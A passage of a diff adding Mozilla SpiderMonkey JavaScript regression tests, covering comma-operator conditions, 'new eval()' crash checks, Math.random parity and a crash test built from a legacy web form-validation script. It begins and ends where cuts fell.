+status = inSection(2);
+a = 5;
+b = 0;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(3);
+a = 5;
+b = 6;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+/*
+ * Now get tricky and use the = operator inside the if-clause
+ */
+status = inSection(4);
+a = 0;
+b = 6;
+c = 0;
+if (a = 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(5);
+c = 0;
+if (1, 1 == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+
+/*
+ * Now some tests involving arrays
+ */
+var x=[];
+
+status = inSection(6); // get element case
+c = 0;
+if (x[1==2]) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(7); // set element case
+c = 0;
+if (x[1==2]=1) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(8); // delete element case
+c = 0;
+if (delete x[1==2]) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-204210.js b/js/src/tests/non262/regress/regress-204210.js
new file mode 100644
index 0000000000..0c079abaac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-204210.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: eval() is not a constructor, but don't crash on |new eval();|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204210
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204210;
+var summary = "eval() is not a constructor, but don't crash on |new eval();|";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Just testing that we don't crash on any of these constructs -
+ */
+
+
+/*
+ * global scope -
+ */
+try
+{
+ var x = new eval();
+ new eval();
+}
+catch(e)
+{
+}
+
+
+/*
+ * function scope -
+ */
+f();
+function f()
+{
+ try
+ {
+ var x = new eval();
+ new eval();
+ }
+ catch(e)
+ {
+ }
+}
+
+
+/*
+ * eval scope -
+ */
+var s = '';
+s += 'try';
+s += '{';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += '}';
+eval(s);
+
+
+/*
+ * some combinations of scope -
+ */
+s = '';
+s += 'function g()';
+s += '{';
+s += ' try';
+s += ' {';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += ' }';
+s += ' catch(e)';
+s += ' {';
+s += ' }';
+s += '}';
+s += 'g();';
+eval(s);
+
+
+function h()
+{
+ var s = '';
+ s += 'function f()';
+ s += '{';
+ s += ' try';
+ s += ' {';
+ s += ' var x = new eval();';
+ s += ' new eval();';
+ s += ' }';
+ s += ' catch(e)';
+ s += ' {';
+ s += ' }';
+ s += '}';
+ s += 'f();';
+ eval(s);
+}
+h();
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-210682.js b/js/src/tests/non262/regress/regress-210682.js
new file mode 100644
index 0000000000..ea531d63d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-210682.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 02 July 2003
+ * SUMMARY: testing line ending with |continue| and only terminated by a CR
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=210682
+ *
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 210682;
+var summary = 'testing line ending with |continue| and only terminated by CR';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+for (i=0; i<100; i++)
+{
+ if (i%2 == 0) continue
+ this.lasti = i;
+}
+
+status = inSection(1);
+actual = lasti;
+expect = 99;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-211590.js b/js/src/tests/non262/regress/regress-211590.js
new file mode 100644
index 0000000000..a31bd3bfe4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-211590.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 211590;
+var summary = 'Math.random should be random';
+var actual = '';
+var expect = 'between 47.5% and 52.5%';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r = Math.random;
+var c = Math.pow( 2, 53 );
+
+var n = 10000;
+var odd1 = 0;
+var odd2 = 0;
+
+for ( var i = 0; i < n; ++i )
+{
+ var v= r() * c;
+ if ( v & 1 )
+ ++odd1;
+ if ( v - c + c & 1 )
+ ++odd2;
+}
+
+odd1 *= 100 / n;
+odd2 *= 100 / n;
+
+if (odd1 >= 47.5 && odd1 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd1.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
+
+if (odd2 >= 47.5 && odd2 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd2.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-214761.js b/js/src/tests/non262/regress/regress-214761.js
new file mode 100644
index 0000000000..e06f9647db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-214761.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 214761;
+var summary = 'Crash Regression from bug 208030';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var code = "var bar1=new Array();\n" +
+ "bar1[0]='foo';\n" +
+ "var bar2=document.all&&navigator.userAgent.indexOf('Opera')==-1;\n" +
+ "var bar3=document.getElementById&&!document.all;\n" +
+ "var bar4=document.layers;\n" +
+ "function foo1(){\n" +
+ "return false;}\n" +
+ "function foo2(){\n" +
+ "return false;}\n" +
+ "function foo3(){\n" +
+ "return false;}\n" +
+ "function foo4(){\n" +
+ "return false;}\n" +
+ "function foo5(){\n" +
+ "return false;}\n" +
+ "function foo6(){\n" +
+ "return false;}\n" +
+ "function foo7(){\n" +
+ "return false;}";
+
+try
+{
+ eval(code);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-216320.js b/js/src/tests/non262/regress/regress-216320.js
new file mode 100644
index 0000000000..01fcea0f06
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-216320.js
@@ -0,0 +1,1006 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 September 2003
+ * SUMMARY: Just seeing we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216320
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 216320;
+var summary = "Just seeing we don't crash on this code";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/* TESTCASE BEGINS HERE */
+status=0;
+ism='NO';
+scf='N';
+
+function vol(){
+ if(navigator.appName!="Netscape"){ if(!window.navigator.onLine){ alert(pbc0430); return false; } }
+ return true; }
+
+function vnid(formfield){
+ nid=formfield.value;
+ if(!nid.match(/^\s*$/)){
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }}}
+
+function vnull(formfield){
+ text=formfield.value;
+ if(text.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vdt(formfield){
+ date=formfield.value;
+//MM/DD/YYYY
+//YYYY/MM/DD
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)) {return true; }
+
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vkdt(formfield){
+ date=formfield.value;
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function ddif(month1,day1,year1,month2,day2,year2){
+ start = new Date();
+ start.setYear(year1);
+ start.setMonth(month1-1);
+ start.setDate(day1);
+ start.setMinutes(0);
+ start.setHours(0);
+ start.setSeconds(0);
+ end = new Date();
+ end.setYear(year2);
+ end.setMonth(month2-1);
+ end.setDate(day2);
+ end.setMinutes(0);
+ end.setHours(0);
+ end.setSeconds(0);
+ current =(end.getTime() - start.getTime());
+ days = Math.floor(current /(1000 * 60 * 60 * 24));
+ return(days);
+}
+
+function vsub(form,status,ism,action){
+ if(!vol()){ return false; }
+ if(status<9||status==12){
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ }
+
+ if((status>=0&&status<5)||(status==7)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.PT)) { return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000)year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)){ return false; }
+ if(!vnull(form.END)){ return false; }
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+
+ if ((syr!=eyr)){
+ alert(pbc0406);
+ form.STD.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0402);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ }
+ if(ism=='YES'&&(status==5||status==6||status==12)){
+ if(ddif(month,date,year,emon,edy,eyr)>31){
+ alert(pbc0421);
+ form.END.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status==7)||((status>=5&&status<9||status==12)&&ism=="YES")){
+ if(status!=5){
+ if(!vdt(form.IRD1)){
+ return false;
+ }
+ if(!vdt(form.IRD2)){
+ return false;
+ }
+ if(!vdt(form.IRD3)){
+ return false;
+ }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){ return false;}
+ }
+ if(status==5){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){return false;}
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vkdt(form.FRD1)){
+ return false;
+ }
+ }
+ }
+ }
+ if((status>=0&&status<2)||(status==3)||(status==7)||(status>=2&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WO)){
+ return false;
+ }
+ if(!vnull(form.EO)){
+ return false;
+ }
+ if(!vnull(form.TO)){
+ return false;
+ }
+ }
+ if((status==2||status==4)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WR)){return false;}
+ if(!vnull(form.ER)){return false;}
+ if(!vnull(form.TR)){return false;}
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ if(!vkdt(form.FRD1)){return false;}
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(fryr<syr||(fryr==syr&&frmn<smon)||(fryr==syr&&frmn==smon&&frdy<=sdy)){
+ alert(pbc0410);
+ form.FRD1.focus();
+ return false;
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){ isnh=form.INH[i].value; }
+ }
+ if(isnh==""){
+ alert(pbc0424);
+ form.INH[1].focus();
+ return false;
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length; i++){
+ if(form.NHB[i].checked==true){ beh=form.NHB[i].value; }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length; i++){
+ if(form.NHS[i].checked==true){ skl=form.NHS[i].value; }
+ }
+ if(beh==""){
+ alert(pbc0408);
+ form.NHB[0].focus();
+ return false;
+ }
+ if(skl==""){
+ alert(pbc0426);
+ form.NHS[0].focus();
+ return false;
+ }
+ if((beh=="N"||skl=="N")&&status!=12){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }}}}}
+ rating="";
+ if(status!=12){ for(i=0; i<form.RCD.length; i++){ if(form.RCD[i].checked==true)rating=form.RCD[i].value; } }
+ else if(status==12){ rating="4"; }
+ if(rating==""){
+ alert(pbc0428);
+ form.RCD[0].focus();
+ return false;
+ }
+ if(rating=="4"){
+ if(!vkdt(form.SID)){ return false; }
+ idt=form.SID.value;
+ iyr=idt.substring(0,4);
+ imon=idt.substring(5,7);
+ idy=idt.substring(8,10);
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(iyr<eyr||(iyr==eyr&&imon<emon)||(iyr==eyr&&imon==emon&&idy<=edy)){
+ alert(pbc0415);
+ form.SID.focus();
+ return false;
+ }
+ if(iyr<fryr||(iyr==fryr&&imon<frmn)||(iyr==fryr&&imon==frmn&&idy<=frdy)){
+ alert(pbc0427);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)<30){
+ alert(pbc0416);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)>90){
+ if(!confirm(pbc0439+" "+pbc0442)){
+ form.SID.focus();
+ return false;
+ }}} else {
+// MK/06-20-01 = If Rating Not equals to 4 blank out the sustained improve Date
+ form.SID.value="";
+ }
+ if(!vnull(form.OAT)){ return false; }
+ if(form.MSRQ.checked==true){
+ if(form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SIGN_MGR_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0422);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.RSRQ.checked==true) ) {
+ alert(pbc0429);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ }
+ if(form.RSRQ.checked==true){
+ if(form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SEC_LINE_REV_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)) {
+ alert(pbc0423);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.MSRQ.checked==true) ) {
+ alert(pbc0431);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }}}
+ if(status!=9){
+/**for returned objectives **/
+ if(status==3){
+ if(conf(pbc0466) == false) return false;
+ }
+
+ if(ism=='NO'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0456) == false) return false;
+ }
+
+ if(status==2||status==4||status==8){
+ if(conf(pbc0457) == false) return false;
+ }
+ } else if(ism=='YES'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0458) == false)return false;
+ }
+ if(status==2||status==4||status==8){
+ if(conf(pbc0459) == false)return false;
+ }
+ if(status==5||status==6){
+ if(form.ESRQ.checked==false){
+ if(conf(pbc0460) == false)return false;
+ } else {
+ if(conf(pbc0461) == false)return false;
+ }}}}
+ if(status==9){
+ if(ism=='NO'){
+ if(conf(pbc0462) == false)return false;
+ } else if(ism=='YES'){
+ if(conf(pbc0463) == false)return false;
+ } else if(ism=='REVIEWER'){
+ if(conf(pbc0464) == false)return false;
+ }}
+ sact(action);
+ if(status>=9&&status<=11){ snul(); }
+ form.submit();
+ return true;
+}
+
+function vsav(form,status,ism,action) {
+ if(!vol()){ return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000) year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)) return false;
+ if(!vnull(form.END)) return false;
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+ if ((syr<year-1) || (syr>year)) {
+ alert(pbc0407);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0403);
+ form.STD.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){ return false; }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){return false;}
+ if(ism=="YES"){
+ if(!vdt(form.FRD1)){return false;}
+ }
+ }
+ if((status==5||status==6)&&ism=="YES"){
+ rating="";
+ for(i=0;i<form.RCD.length;i++){
+ if(form.RCD[i].checked==true)rating=form.RCD[i].value;
+ }
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){
+ isnh=form.INH[i].value;
+ }
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length;i++){
+ if(form.NHB[i].checked==true){
+ beh=form.NHB[i].value;
+ }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length;i++){
+ if(form.NHS[i].checked==true){
+ skl=form.NHS[i].value;
+ }
+ }
+ if((beh=="N"||skl=="N")&&rating!=""){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }
+ }
+ }
+ if(!vdt(form.SID)){ return false;}
+ }
+ }
+ if((status==2||status==4 || status==8 || status==5 || status==6 || status==10)&&ism=='YES')
+ {
+ if(!confirm(pbc0436)){ return false;}
+ if(form.OBJECTIVE_CHANGED.value=='Y') {
+ if(confirm(pbc0452+" "+pbc0453+" "+pbc0454)){form.MRQ.value=4; } else { form.MRQ.value=0; }
+ }else if (( status==5 || status==6 || status==10) && (form.RESULTS_CHANGED.value=='Y')) {
+ if(confirm(pbc0470+" "+pbc0453+" "+pbc0454)){form.MRQ.value=8; } else { form.MRQ.value=0; }
+ }
+ }
+ sact(action);
+ if(status>=9&&status<=11){
+ snul();
+ }
+ form.submit();
+ return true;
+}
+function cft(formfield){
+ nid=formfield.value;
+ if(nid.match(/^\s*$/)){
+ alert(pbc0419);
+ formfield.focus();
+ return false;
+ }
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+function dcf(form,pbcId,cnum,sequence,status,atyp,ver){
+ if(!vol()){}
+ dflg=confirm("\n\n<====================== " + pbc0468 + " ======================>\n\n" + pbc0469 + "\n\n<==================================================================>");
+ if(dflg==true) {
+ form.ATYP.value=atyp;
+ form.PID.value=pbcId;
+ form.CNUM.value=cnum;
+ form.SEQ.value=sequence;
+ form.ST.value=status;
+ form.VER.value=ver;
+ form.submit();
+ }
+
+}
+
+
+
+function lop(){
+//if(confirm(pbc0447+" "+pbc0451)){
+ sck("timer","");
+ sck("PBC_AUTH4","");
+ sck("IBM004","");
+ this.close();
+//}
+
+}
+
+function csrlop(){
+ top.location="logoff.jsp";
+}
+function lof(){
+ csr=gck("IBM004");
+ if(csr==null){ top.location="logoff.jsp"; }
+ else if(csr.charAt(0)==3){ window.location="csrlogoff.jsp"; }
+ else{ top.location="logoff.jsp"; }
+}
+
+function goToHome(){
+ top.location="pbcmain.jsp";
+}
+
+function docsr(){
+ sck("IBM004","1^NONE^1");
+ window.location="pbcmain.jsp"
+ }
+
+function ccd(){
+ if(confirm(pbc0434)){
+ if(navigator.appName!="Netscape"){
+ if(!window.navigator.onLine){
+ window.close();
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+}
+
+function crt(form,action){
+ if(!vol()){return false;}
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ if(!confirm(pbc0450)){return false;}
+ sact(action);
+ form.submit();
+ return true;
+}
+function cusat(form,action){
+ if(!vol()){return false;}
+ sact(action);
+ form.action="unsatreq.jsp";
+ form.submit();
+ return true;
+}
+function cfrt(form,ism,action){
+ if(!vol()){return false;}
+ sact(action);
+ if(ism=="NO"){
+ if(confirm(pbc0449+" "+pbc0432)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="REVIEWER"){
+ if(confirm(pbc0449+" "+pbc0448)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="YES"){
+ if(confirm(pbc0440)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+}
+
+function cces(form){
+ if(form.ESRQ.checked==true){
+ if(!confirm(pbc0435+" "+pbc0443))form.ESRQ.checked=false;
+ else {form.ESRQ.checked=true;}
+ }
+}
+
+function ccms(form){
+ if(form.MSRQ.checked==true){
